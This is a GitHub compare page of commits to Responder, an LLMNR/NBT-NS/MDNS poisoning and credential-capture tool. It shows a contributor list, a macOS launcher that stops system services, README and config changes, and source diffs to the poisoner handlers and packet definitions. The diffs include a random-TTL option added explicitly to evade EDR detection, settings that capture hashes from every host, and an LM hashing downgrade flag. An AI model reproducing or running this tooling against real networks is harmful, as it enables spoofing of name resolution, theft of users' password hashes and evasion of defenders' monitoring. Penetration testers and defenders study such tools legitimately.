Compare commits

...

26 Commits

Author SHA1 Message Date
Johnny Xmas
ceb43c0777 Merge ec2f95ef8d into e918fe01c6 2024-10-18 15:37:38 +08:00
lgandx
e918fe01c6 added option to disable a TLD due to windows 11 infinite loop with _dosvc 2024-09-24 11:06:50 -03:00
lgandx
538e6c0d0d Merge pull request #289 from brightio/patch-3
StartupMessage doesn't take into account the actual LLMNR, NBT-NS and MDNS
2024-09-11 17:04:14 -03:00
brightio
990df258a6 StartupMessage doesn't take into account the actual LLMNR, NBT-NS and MDNS status 2024-09-10 16:49:31 +02:00
lgandx
4947ae6e52 Added default mode for TTL option 2024-05-14 11:02:35 -03:00
lgandx
116a056e7d Listed all contributors over time. Thanks for your contribution to this project! 2024-05-08 10:14:11 -03:00
lgandx
d715f2de21 Updated Changelog 2024-05-08 09:41:44 -03:00
lgandx
64cf4d9873 minor fix 2024-05-06 09:56:02 -03:00
lgandx
ccbcd1736f minox typo fix 2024-05-06 09:24:06 -03:00
lgandx
413bc8be31 Fixed issue with smb signing detection 2024-05-06 09:16:36 -03:00
lgandx
bf25abfec8 Merge pull request #275 from nodauf/master
Random TTL value added to avoid some EDR detections
2024-05-06 07:33:27 -03:00
lgandx
06b33edc27 Merge pull request #276 from f3rn0s/master
Add options for poisoners
2024-05-06 07:10:32 -03:00
f3rn0s
807bd57a96 Add options for poisoners 2024-04-30 15:52:04 +10:00
nodauf
f50f0be59c Add randomness in TTL value to avoid some EDR detections 2024-04-02 16:42:09 +02:00
lgandx
1a2f2fdb22 added support for either resolv.conf or resolvectl 2024-01-06 15:01:43 -03:00
lgandx
e51f24e36c fixed minor bug 2024-01-06 13:48:41 -03:00
lgandx
fa297c8a16 Fixed bug when IPv6 is disabled via GRUB. 2024-01-06 12:44:38 -03:00
lgandx
44bfd1d221 DNS dump updated + removed var dump info on Config-Responder.log 2024-01-06 09:19:10 -03:00
lgandx
66e5b12c56 Updated changelog 2024-01-06 07:15:50 -03:00
lgandx
4b560f6e17 removed debug string 2024-01-04 20:44:13 -03:00
lgandx
e564e5159b removed bowser listener 2024-01-04 20:37:45 -03:00
lgandx
4b14455bdc minor fix on ldap 2024-01-04 19:50:16 -03:00
lgandx
ee5ab9a5fd default -> py3 2024-01-04 19:04:15 -03:00
Johnny Xmas
ec2f95ef8d Merge remote-tracking branch 'upstream/master' 2022-11-13 17:56:10 -06:00
Johnny Xmas
daf9be6e63 macOS moniker clarifications
Mac OS X is now (and once again) called "macOS". This may seem trivial, but newer users will become confused as time goes on if this is not corrected.
2022-09-16 20:38:41 -05:00
Johnny Xmas
efebe7b701 macOS Fixes
Replaced OSX_Launcher.sh with macOS_Launcher.sh, which fixes the following issues:
   * Old launcher did not check all necessary ports per README.md
   * Old launcher did not search for UDP listeners due to improper lsof usage
   * Old launcher (self-admittedly) used legacy calls which are soon to be removed from macOS
   * Old launcher did not properly pass arguments to Responder.py
   * Old launcher set `bash -x`, causing unwanted debug output
   * Old launcher used the legacy "OSX" moniker, which Apple has abandoned and replaced with "macOS"

Additionally, README.md has been updated to replace legacy service stopping methods with modern ones.
2022-09-16 20:33:47 -05:00
19 changed files with 1044 additions and 562 deletions

File diff suppressed because it is too large Load Diff

76
Contributors Normal file
View File

@@ -0,0 +1,76 @@
Commits | user
15 @jrmdev
7 @nobbd
6 @ValdikSS
6 @also-here
5 @HexPandaa
5 @exploide
5 @jvoisin
4 @Clément Notin
4 @Shutdown
4 @Yannick Méheut
3 @Hank Leininger
3 @brightio
3 @byt3bl33d3r
3 @myst404
3 @skelsec
2 @Alexandre ZANNI
2 @Crypt0-M3lon
2 @Laban Sköllermark
2 @Matthew Daley
2 @Pixis
2 @Rob Fuller
2 @ThePirateWhoSmellsOfSunflowers
2 @Vincent Yiu
2 @requin
1 @Andrii Nechytailov
1 @Antonio Herraiz
1 @Chris Maddalena
1 @Euan
1 @Garret Picchioni
1 @Gifts
1 @Gustaf Blomqvist
1 @Hubert Seiwert
1 @IMcPwn
1 @Jared Haight
1 @Jim Shaver
1 @Khiem Doan
1 @Leon Jacobs
1 @Lionel PRAT
1 @Markus
1 @MatToufoutu
1 @Matt
1 @Matt Andreko
1 @Matt Kelly
1 @Nikos Vassakis
1 @OJ
1 @Paul A
1 @Randy Ramos
1 @SAERXCIT
1 @Sagar-Jangam
1 @Sans23
1 @Sophie Brun
1 @Stephen Shkardoon
1 @Syntricks
1 @Timon Hackenjos
1 @Tom Aviv
1 @Ziga P
1 @cweedon
1 @deltronzero
1 @f3rn0s
1 @jackassplus
1 @jb
1 @kevintellier
1 @kitchung
1 @klemou
1 @lanjelot
1 @nickyb
1 @nodauf
1 @nop5L3D
1 @pixis
1 @ravenium
1 @soa
1 @steven
1 @thejosko
1 @trustedsec

View File

@@ -1,4 +1,4 @@
#!/usr/bin/env python
#!/usr/bin/env python3
# This file is part of Responder, a network take-over set of tools
# created and maintained by Laurent Gaffie.
# email: laurent.gaffie@gmail.com

View File

@@ -1,39 +0,0 @@
# responder launcher
# set -x
# Usage:
# ./responderd /path/to/responder interface responder_options
# port list
# Everything -> tcp:21 tcp:80 tcp:25 udp:53 tcp:88 udp:137 udp:138 tcp:139 tcp:143 tcp:443 tcp:445 tcp:110 tcp:389 tcp:1433 tcp:3141 udp:5353 udp:5355
PORT_LIST=(tcp:21 udp:53 tcp:88 udp:137 udp:138 tcp:139 tcp:143 tcp:445 tcp:389 tcp:1433 udp:5353 udp:5355)
SVC_LIST=()
# check for running processes and kill them one by one
# looping over everything rather than doing a mass kill because some processes may be
# children and may not need to be killed
for port in ${PORT_LIST[@]}; do
PROC=$(lsof +c 0 -i $port | grep -m 1 -v 'launchd\|COMMAND' | cut -d' ' -f1)
if [ -n "$PROC" ]; then
AGENT=$(sudo launchctl list | grep -m 1 $PROC | cut -f3 | sed 's/.reloaded//g')
# load/unload are listed as "legacy" in 10.10+ may need to change this someday
echo "Stopping $PROC"
sudo launchctl unload -w /System/Library/LaunchDaemons/$AGENT.plist
# append killed service to new array
SVC_LIST+=($AGENT)
fi
done
# get IP address
IP=$(ifconfig $2 | grep 'inet ' | cut -d' ' -f2)
# Launch responder
python $1 $3 -i $IP
# restore stopped services
for agent in ${SVC_LIST[@]}; do
echo "Starting $agent"
sudo launchctl load -w /System/Library/LaunchDaemons/$agent.plist
done

View File

@@ -16,7 +16,7 @@ Responder is an LLMNR, NBT-NS and MDNS poisoner.
- Built-in SMB Auth server.
Supports NTLMv1, NTLMv2 hashes with Extended Security NTLMSSP by default. Successfully tested from Windows 95 to Server 2022, Samba and Mac OSX Lion. Clear text password is supported for NT4, and LM hashing downgrade when the --lm option is set. If --disable-ess is set, extended session security will be disabled for NTLMv1 authentication. SMBv2 has also been implemented and is supported by default.
Supports NTLMv1, NTLMv2 hashes with Extended Security NTLMSSP by default. Successfully tested from Windows 95 to Server 2022, Samba and Mac OS X 10.7 (Lion). Clear text password is supported for NT4, and LM hashing downgrade when the --lm option is set. If --disable-ess is set, extended session security will be disabled for NTLMv1 authentication. SMBv2 has also been implemented and is supported by default.
- Built-in MSSQL Auth server.
@@ -101,15 +101,15 @@ Edit this file /etc/NetworkManager/NetworkManager.conf and comment the line: `dn
- This tool is not meant to work on Windows.
- For OSX, please note: Responder must be launched with an IP address for the -i flag (e.g. -i YOUR_IP_ADDR). There is no native support in OSX for custom interface binding. Using -i en1 will not work. Also to run Responder with the best experience, run the following as root:
- For macOS, please note: Responder must be launched with an IP address for the -i flag (e.g. -i YOUR_IP_ADDR). There is no native support in macOS for custom interface binding. Using -i en1 will not work. Also to run Responder with the best experience, run the following as root:
launchctl unload /System/Library/LaunchDaemons/com.apple.Kerberos.kdc.plist
launchctl bootout system /System/Library/LaunchDaemons/com.apple.Kerberos.kdc.plist
launchctl unload /System/Library/LaunchDaemons/com.apple.mDNSResponder.plist
launchctl bootout system /System/Library/LaunchDaemons/com.apple.mDNSResponder.plist
launchctl unload /System/Library/LaunchDaemons/com.apple.smbd.plist
launchctl bootout system /System/Library/LaunchDaemons/com.apple.smbd.plist
launchctl unload /System/Library/LaunchDaemons/com.apple.netbiosd.plist
launchctl bootout system /System/Library/LaunchDaemons/com.apple.netbiosd.plist
## Usage ##
@@ -133,7 +133,7 @@ Options:
Network interface to use, you can use 'ALL' as a
wildcard for all interfaces
-i 10.0.0.21, --ip=10.0.0.21
Local IP to use (only for OSX)
Local IP to use (only for macOS)
-6 2002:c0a8:f7:1:3ba8:aceb:b1a9:81ed, --externalip6=2002:c0a8:f7:1:3ba8:aceb:b1a9:81ed
Poison all requests with another IPv6 address than
Responder's one.

View File

@@ -1,4 +1,4 @@
#!/usr/bin/env python
#!/usr/bin/env python3
# This file is part of Responder, a network take-over set of tools
# created and maintained by Laurent Gaffie.
# email: laurent.gaffie@gmail.com

View File

@@ -1,24 +1,29 @@
[Responder Core]
; Servers to start
SQL = On
SMB = On
RDP = On
Kerberos = On
FTP = On
POP = On
SMTP = On
IMAP = On
HTTP = On
HTTPS = On
DNS = On
LDAP = On
DCERPC = On
WINRM = On
SNMP = Off
MQTT = On
; Poisoners to start
MDNS = On
LLMNR = On
NBTNS = On
; Custom challenge.
; Servers to start
SQL = On
SMB = On
RDP = On
Kerberos = On
FTP = On
POP = On
SMTP = On
IMAP = On
HTTP = On
HTTPS = On
DNS = On
LDAP = On
DCERPC = On
WINRM = On
SNMP = Off
MQTT = On
; Custom challenge.
; Use "Random" for generating a random challenge for each requests (Default)
Challenge = Random
@@ -53,9 +58,13 @@ RespondToName =
DontRespondTo =
; Specific NBT-NS/LLMNR names not to respond to (default = None)
; Example: DontRespondTo = NAC, IPS, IDS
; Example: DontRespondToName = NAC, IPS, IDS
DontRespondToName = ISATAP
; MDNS TLD not to respond to (default = _dosvc). Do not add the ".", only the TLD.
; Example: DontRespondToTLD = _dosvc, _blasvc, etc
DontRespondToTLD = _dosvc
; If set to On, we will stop answering further requests from a host
; if a hash has been previously captured for this host.
AutoIgnoreAfterSuccess = Off
@@ -65,8 +74,8 @@ AutoIgnoreAfterSuccess = Off
; This may break file serving and is useful only for hash capture
CaptureMultipleCredentials = On
; If set to On, we will write to file all hashes captured from the same host.
; In this case, Responder will log from 172.16.0.12 all user hashes: domain\toto,
; If set to On, we will write to file all hashes captured from the same host.
; In this case, Responder will log from 172.16.0.12 all user hashes: domain\toto,
; domain\popo, domain\zozo. Recommended value: On, capture everything.
CaptureMultipleHashFromSameHost = On

View File

@@ -45,6 +45,7 @@ parser.add_option('-Q','--quiet', action="store_true", help="Tell Resp
parser.add_option('--lm', action="store_true", help="Force LM hashing downgrade for Windows XP/2003 and earlier. Default: False", dest="LM_On_Off", default=False)
parser.add_option('--disable-ess', action="store_true", help="Force ESS downgrade. Default: False", dest="NOESS_On_Off", default=False)
parser.add_option('-v','--verbose', action="store_true", help="Increase verbosity.", dest="Verbose")
parser.add_option('-t','--ttl', action="store", help="Change the default Windows TTL for poisoned answers. Value in hex (30 seconds = 1e). use '-t random' for random TTL", dest="TTL", metavar="1e", default=None)
options, args = parser.parse_args()
if not os.geteuid() == 0:
@@ -69,6 +70,8 @@ settings.Config.ExpandIPRanges()
#Create the DB, before we start Responder.
CreateResponderDb()
Have_IPv6 = settings.Config.IPv6
class ThreadingUDPServer(ThreadingMixIn, UDPServer):
def server_bind(self):
if OsInterfaceIsSupported():
@@ -78,10 +81,12 @@ class ThreadingUDPServer(ThreadingMixIn, UDPServer):
else:
if (sys.version_info > (3, 0)):
self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8'))
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
if Have_IPv6:
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
else:
self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0')
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
if Have_IPv6:
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
except:
pass
UDPServer.server_bind(self)
@@ -95,10 +100,12 @@ class ThreadingTCPServer(ThreadingMixIn, TCPServer):
else:
if (sys.version_info > (3, 0)):
self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8'))
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
if Have_IPv6:
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
else:
self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0')
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
if Have_IPv6:
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
except:
pass
TCPServer.server_bind(self)
@@ -112,10 +119,12 @@ class ThreadingTCPServerAuth(ThreadingMixIn, TCPServer):
else:
if (sys.version_info > (3, 0)):
self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8'))
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
if Have_IPv6:
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
else:
self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0')
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
if Have_IPv6:
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
except:
pass
self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_LINGER, struct.pack('ii', 1, 0))
@@ -131,11 +140,13 @@ class ThreadingUDPMDNSServer(ThreadingMixIn, UDPServer):
#IPV6:
if (sys.version_info > (3, 0)):
mreq = socket.inet_pton(socket.AF_INET6, MADDR6) + struct.pack('@I', if_nametoindex2(settings.Config.Interface))
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_JOIN_GROUP, mreq)
if Have_IPv6:
mreq = socket.inet_pton(socket.AF_INET6, MADDR6) + struct.pack('@I', if_nametoindex2(settings.Config.Interface))
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_JOIN_GROUP, mreq)
else:
mreq = socket.inet_pton(socket.AF_INET6, MADDR6) + struct.pack('@I', if_nametoindex2(settings.Config.Interface))
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_JOIN_GROUP, mreq)
if Have_IPv6:
mreq = socket.inet_pton(socket.AF_INET6, MADDR6) + struct.pack('@I', if_nametoindex2(settings.Config.Interface))
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_JOIN_GROUP, mreq)
if OsInterfaceIsSupported():
try:
if settings.Config.Bind_To_ALL:
@@ -143,10 +154,12 @@ class ThreadingUDPMDNSServer(ThreadingMixIn, UDPServer):
else:
if (sys.version_info > (3, 0)):
self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8'))
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
if Have_IPv6:
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
else:
self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0')
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
if Have_IPv6:
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
except:
pass
UDPServer.server_bind(self)
@@ -160,8 +173,9 @@ class ThreadingUDPLLMNRServer(ThreadingMixIn, UDPServer):
Join = self.socket.setsockopt(socket.IPPROTO_IP,socket.IP_ADD_MEMBERSHIP,socket.inet_aton(MADDR) + settings.Config.IP_aton)
#IPV6:
mreq = socket.inet_pton(socket.AF_INET6, MADDR6) + struct.pack('@I', if_nametoindex2(settings.Config.Interface))
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_JOIN_GROUP, mreq)
if Have_IPv6:
mreq = socket.inet_pton(socket.AF_INET6, MADDR6) + struct.pack('@I', if_nametoindex2(settings.Config.Interface))
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_JOIN_GROUP, mreq)
if OsInterfaceIsSupported():
try:
if settings.Config.Bind_To_ALL:
@@ -169,29 +183,36 @@ class ThreadingUDPLLMNRServer(ThreadingMixIn, UDPServer):
else:
if (sys.version_info > (3, 0)):
self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8'))
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
if Have_IPv6:
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
else:
self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0')
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
if Have_IPv6:
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
except:
pass
UDPServer.server_bind(self)
ThreadingUDPServer.allow_reuse_address = 1
ThreadingUDPServer.address_family = socket.AF_INET6
if Have_IPv6:
ThreadingUDPServer.address_family = socket.AF_INET6
ThreadingTCPServer.allow_reuse_address = 1
ThreadingTCPServer.address_family = socket.AF_INET6
if Have_IPv6:
ThreadingTCPServer.address_family = socket.AF_INET6
ThreadingUDPMDNSServer.allow_reuse_address = 1
ThreadingUDPMDNSServer.address_family = socket.AF_INET6
if Have_IPv6:
ThreadingUDPMDNSServer.address_family = socket.AF_INET6
ThreadingUDPLLMNRServer.allow_reuse_address = 1
ThreadingUDPLLMNRServer.address_family = socket.AF_INET6
if Have_IPv6:
ThreadingUDPLLMNRServer.address_family = socket.AF_INET6
ThreadingTCPServerAuth.allow_reuse_address = 1
ThreadingTCPServerAuth.address_family = socket.AF_INET6
if Have_IPv6:
ThreadingTCPServerAuth.address_family = socket.AF_INET6
def serve_thread_udp_broadcast(host, port, handler):
try:
@@ -274,20 +295,27 @@ def main():
if (sys.version_info < (3, 0)):
print(color('\n\n[-]', 3, 1) + " Still using python 2? :(")
print(color('\n[+]', 2, 1) + " Listening for events...\n")
threads = []
# Load (M)DNS, NBNS and LLMNR Poisoners
from poisoners.LLMNR import LLMNR
from poisoners.NBTNS import NBTNS
from poisoners.MDNS import MDNS
threads.append(Thread(target=serve_LLMNR_poisoner, args=('', 5355, LLMNR,)))
threads.append(Thread(target=serve_MDNS_poisoner, args=('', 5353, MDNS,)))
threads.append(Thread(target=serve_NBTNS_poisoner, args=('', 137, NBTNS,)))
if settings.Config.LLMNR_On_Off:
from poisoners.LLMNR import LLMNR
threads.append(Thread(target=serve_LLMNR_poisoner, args=('', 5355, LLMNR,)))
if settings.Config.NBTNS_On_Off:
from poisoners.NBTNS import NBTNS
threads.append(Thread(target=serve_NBTNS_poisoner, args=('', 137, NBTNS,)))
if settings.Config.MDNS_On_Off:
from poisoners.MDNS import MDNS
threads.append(Thread(target=serve_MDNS_poisoner, args=('', 5353, MDNS,)))
#// Vintage Responder BOWSER module, now disabled by default.
#// Generate to much noise & easily detectable on the network when in analyze mode.
# Load Browser Listener
from servers.Browser import Browser
threads.append(Thread(target=serve_thread_udp_broadcast, args=('', 138, Browser,)))
#from servers.Browser import Browser
#threads.append(Thread(target=serve_thread_udp_broadcast, args=('', 138, Browser,)))
if settings.Config.HTTP_On_Off:
from servers.HTTP import HTTP

79
macOS_Launcher.sh Executable file
View File

@@ -0,0 +1,79 @@
#!/usr/bin/env bash
#Responder launcher for MacOS
USAGE="$(basename "$0") [Responder.py arguments...] - Script to automagically re/configure a MacOS environment and launch Responder"
#Environment check
if uname -a | grep -v -q Darwin
then echo "This script is only for MacOS. On any other OS, run Responder.py directly."
exit 1
elif csrutil status | grep -q enabled
then echo "Please disable System Integrity Protection so Responder can stop and start protected services"
exit 1
elif [[ $# -eq 0 ]]
then echo "Usage: $USAGE"
echo "You haven't provided any arguments! Run Responder.py -h for args help."
exit 1
elif [ "$EUID" -ne 0 ]
then echo "Managing servces requires root privledges. Please run as root."
exit 1
fi
TCP_LIST=(21 25 80 88 110 135 139 143 389 445 587 1433 3128 3141)
UDP_LIST=(53 137 138 389 1434 5353 5355)
SVC_LIST=()
#Stop services specified in README.md (if they exist)
if [ -e /System/Library/LaunchDaemons/com.apple.Kerberos.kdc.plist ]
then launchctl bootout system /System/Library/LaunchDaemons/com.apple.Kerberos.kdc.plist
SVC_LIST+=(com.apple.Kerberos.kdc)
fi
if [ -e /System/Library/LaunchDaemons/com.apple.mDNSResponder.plist ]
then launchctl bootout system /System/Library/LaunchDaemons/com.apple.mDNSResponder.plist
SVC_LIST+=(com.apple.mDNSResponder)
fi
if [ -e /System/Library/LaunchDaemons/com.apple.mDNSResponder.plist ]
then launchctl bootout system /System/Library/LaunchDaemons/com.apple.smbd.plist
SVC_LIST+=(com.apple.smbd)
fi
if [ -e /System/Library/LaunchDaemons/com.apple.netbiosd.plist ]
then launchctl bootout system /System/Library/LaunchDaemons/com.apple.netbiosd.plist
SVC_LIST+=(com.apple.netbiosd)
fi
# Check for any TCP listeners and shut them down
echo "Resolving listening service conflicts..."
for PORT in "${TCP_LIST[@]}"; do
echo "Checking for TCP listeners on Port $PORT..."
PROC=$(lsof +c 0 -iTCP:"$PORT" -sTCP:LISTEN -nP | grep -m 1 -v 'launchd\|COMMAND' | cut -d' ' -f1) #Get service name
if [ -n "$PROC" ]; then
echo "Found $PROC listening on port $PORT"
AGENT=$(sudo launchctl list | grep -m 1 "$PROC*" | cut -f3 | sed 's/.reloaded//g') #Find the service plist
echo "$AGENT"
echo "Stopping conflicting service: $PROC"
sudo launchctl bootout system /System/Library/LaunchDaemons/"$AGENT".plist #Shut it down
SVC_LIST+=("$AGENT") # append killed service to an array
fi
done
#Do the same for UDP
for PORT in "${UDP_LIST[@]}"; do
echo "Checking for UDP listeners on port $PORT..."
PROC=$(sudo lsof +c 0 -iUDP:"$PORT" -nP | grep -E -v '(127|::1)'| grep -m 1 -v 'launchd\|COMMAND' | cut -d' ' -f1)
if [ -n "$PROC" ]; then
echo "Found $PROC listening on Port $PORT"
AGENT=$(sudo launchctl list | grep -m 1 "$PROC*" | cut -f3 | sed 's/.reloaded//g')
echo "Stopping coflicting service: $PROC"
sudo launchctl bootout system /System/Library/LaunchDaemons/"$AGENT".plist
SVC_LIST+=("$AGENT")
fi
done
# Launch Responder using provided arguments
sudo /usr/bin/env python ./Responder.py "$@"
# Restore stopped services after Responder exits
for AGENT in "${SVC_LIST[@]}"; do
echo "Restarting stopped service: $AGENT"
sudo launchctl bootstrap system /System/Library/LaunchDaemons/"$AGENT".plist
done

View File

@@ -52,7 +52,7 @@ class NBT_Ans(Packet):
("NbtName", ""),
("Type", "\x00\x20"),
("Classy", "\x00\x01"),
("TTL", "\x00\x00\x00\xa5"),
("TTL", "\x00\x04\x93\xe0"), #TTL: 3 days, 11 hours, 20 minutes (Default windows behavior)
("Len", "\x00\x06"),
("Flags1", "\x00\x00"),
("IP", "\x00\x00\x00\x00"),
@@ -263,7 +263,7 @@ class LLMNR_Ans(Packet):
("AnswerNameNull", "\x00"),
("Type1", "\x00\x01"),
("Class1", "\x00\x01"),
("TTL", "\x00\x00\x00\x1e"),##Poison for 30 sec.
("TTL", "\x00\x00\x00\x1e"),##Poison for 30 sec (Default windows behavior)
("IPLen", "\x00\x04"),
("IP", "\x00\x00\x00\x00"),
])
@@ -292,7 +292,7 @@ class LLMNR6_Ans(Packet):
("AnswerNameNull", "\x00"),
("Type1", "\x00\x1c"),
("Class1", "\x00\x01"),
("TTL", "\x00\x00\x00\x1e"),##Poison for 30 sec.
("TTL", "\x00\x00\x00\x1e"),##Poison for 30 sec (Default windows behavior).
("IPLen", "\x00\x04"),
("IP", "\x00\x00\x00\x00"),
])
@@ -316,7 +316,7 @@ class MDNS_Ans(Packet):
("AnswerNameNull", "\x00"),
("Type", "\x00\x01"),
("Class", "\x00\x01"),
("TTL", "\x00\x00\x00\x78"),##Poison for 2mn.
("TTL", "\x00\x00\x00\x78"),##Poison for 2mn (Default windows behavior)
("IPLen", "\x00\x04"),
("IP", "\x00\x00\x00\x00"),
])
@@ -338,7 +338,7 @@ class MDNS6_Ans(Packet):
("AnswerNameNull", "\x00"),
("Type", "\x00\x1c"),
("Class", "\x00\x01"),
("TTL", "\x00\x00\x00\x78"),##Poison for 2mn.
("TTL", "\x00\x00\x00\x78"),##Poison for 2mn (Default windows behavior)
("IPLen", "\x00\x04"),
("IP", "\x00\x00\x00\x00"),
])
@@ -1035,9 +1035,9 @@ class LDAPNTLMChallenge(Packet):
("NTLMSSPNtTargetInfoLen", "\x94\x00"),
("NTLMSSPNtTargetInfoMaxLen", "\x94\x00"),
("NTLMSSPNtTargetInfoBuffOffset", "\x56\x00\x00\x00"),
("NegTokenInitSeqMechMessageVersionHigh", "\x05"),
("NegTokenInitSeqMechMessageVersionLow", "\x02"),
("NegTokenInitSeqMechMessageVersionBuilt", "\xce\x0e"),
("NegTokenInitSeqMechMessageVersionHigh", "\x0a"),
("NegTokenInitSeqMechMessageVersionLow", "\x00"),
("NegTokenInitSeqMechMessageVersionBuilt", "\x7c\x4f"),
("NegTokenInitSeqMechMessageVersionReserved", "\x00\x00\x00"),
("NegTokenInitSeqMechMessageVersionNTLMType", "\x0f"),
("NTLMSSPNtWorkstationName", settings.Config.Domain),

View File

@@ -22,6 +22,9 @@ if (sys.version_info > (3, 0)):
else:
from SocketServer import BaseRequestHandler
#Should we answer to those AAAA?
Have_IPv6 = settings.Config.IPv6
def Parse_LLMNR_Name(data):
import codecs
NameLen = data[12]
@@ -73,7 +76,11 @@ class LLMNR(BaseRequestHandler): # LLMNR Server class
})
elif LLMNRType == True: # Poisoning Mode
Buffer1 = LLMNR_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=Name)
#Default:
if settings.Config.TTL == None:
Buffer1 = LLMNR_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=Name)
else:
Buffer1 = LLMNR_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=Name, TTL=settings.Config.TTL)
Buffer1.calculate()
soc.sendto(NetworkSendBufferPython2or3(Buffer1), self.client_address)
if not settings.Config.Quiet_Mode:
@@ -86,8 +93,12 @@ class LLMNR(BaseRequestHandler): # LLMNR Server class
'AnalyzeMode': '0',
})
elif LLMNRType == 'IPv6':
Buffer1 = LLMNR6_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=Name)
elif LLMNRType == 'IPv6' and Have_IPv6:
#Default:
if settings.Config.TTL == None:
Buffer1 = LLMNR6_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=Name)
else:
Buffer1 = LLMNR6_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=Name, TTL=settings.Config.TTL)
Buffer1.calculate()
soc.sendto(NetworkSendBufferPython2or3(Buffer1), self.client_address)
if not settings.Config.Quiet_Mode:

View File

@@ -23,6 +23,9 @@ else:
from packets import MDNS_Ans, MDNS6_Ans
from utils import *
#Should we answer to those AAAA?
Have_IPv6 = settings.Config.IPv6
def Parse_MDNS_Name(data):
try:
if (sys.version_info > (3, 0)):
@@ -70,7 +73,11 @@ class MDNS(BaseRequestHandler):
})
elif MDNSType == True: # Poisoning Mode
Poisoned_Name = Poisoned_MDNS_Name(data)
Buffer = MDNS_Ans(AnswerName = Poisoned_Name)
#Use default:
if settings.Config.TTL == None:
Buffer = MDNS_Ans(AnswerName = Poisoned_Name)
else:
Buffer = MDNS_Ans(AnswerName = Poisoned_Name, TTL=settings.Config.TTL)
Buffer.calculate()
soc.sendto(NetworkSendBufferPython2or3(Buffer), self.client_address)
if not settings.Config.Quiet_Mode:
@@ -82,9 +89,13 @@ class MDNS(BaseRequestHandler):
'AnalyzeMode': '0',
})
elif MDNSType == 'IPv6': # Poisoning Mode
elif MDNSType == 'IPv6' and Have_IPv6: # Poisoning Mode
Poisoned_Name = Poisoned_MDNS_Name(data)
Buffer = MDNS6_Ans(AnswerName = Poisoned_Name)
#Use default:
if settings.Config.TTL == None:
Buffer = MDNS6_Ans(AnswerName = Poisoned_Name)
else:
Buffer = MDNS6_Ans(AnswerName = Poisoned_Name, TTL= settings.Config.TTL)
Buffer.calculate()
soc.sendto(NetworkSendBufferPython2or3(Buffer), self.client_address)
if not settings.Config.Quiet_Mode:

View File

@@ -44,7 +44,10 @@ class NBTNS(BaseRequestHandler):
'AnalyzeMode': '1',
})
else: # Poisoning Mode
Buffer1 = NBT_Ans()
if settings.Config.TTL == None:
Buffer1 = NBT_Ans()
else:
Buffer1 = NBT_Ans(TTL=settings.Config.TTL)
Buffer1.calculate(data)
socket.sendto(NetworkSendBufferPython2or3(Buffer1), self.client_address)
if not settings.Config.Quiet_Mode:

View File

@@ -21,6 +21,9 @@ if settings.Config.PY2OR3 == "PY3":
else:
from SocketServer import BaseRequestHandler
#Should we answer to those AAAA?
Have_IPv6 = settings.Config.IPv6
def ParseDNSType(data):
QueryTypeClass = data[len(data)-4:]
OPT = data[len(data)-22:len(data)-20]
@@ -65,14 +68,14 @@ class DNS(BaseRequestHandler):
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
print(color("[*] [DNS] SRV Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1))
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "IPv6":
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "IPv6" and Have_IPv6:
